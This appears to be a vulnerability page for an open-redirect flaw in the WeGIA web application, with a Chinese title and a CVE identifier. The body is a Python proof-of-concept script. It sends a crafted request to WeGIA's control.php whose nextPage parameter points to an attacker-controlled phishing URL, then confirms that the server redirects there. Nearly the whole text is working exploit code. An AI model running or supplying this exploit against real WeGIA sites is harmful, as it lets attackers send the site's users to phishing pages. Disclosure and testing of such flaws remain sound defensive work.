CVE-2026-35396 WeGIA开放重定向漏洞

# Proof of Concept for CVE-2026-35396 # This script demonstrates the Open Redirect vulnerability in WeGIA. import requests target_url = "http://target-ip/WeGIA/controle/control.php" malicious_url = "http://attacker.com/phishing" # Payload construction based on vulnerability description params = { "metodo": "listarId", "nomeClasse": "IsaidaControle", "nextPage": malicious_url } print(f"Sending request to: {target_url}") print(f"Attempting to redirect to: {malicious_url}") try: response = requests.get(target_url, params=params, allow_redirects=False) # Check if the response indicates a redirect (HTTP 302/301) if response.status_code in [301, 302, 303, 307, 308]: location_header = response.headers.get('Location') print(f"[+] Vulnerability Confirmed!") print(f"[+] Server responded with status code: {response.status_code}") print(f"[+] Redirect Location: {location_header}") if malicious_url in location_header: print(f"[+] Redirect leads to attacker-controlled domain.") else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"An error occurred: {e}")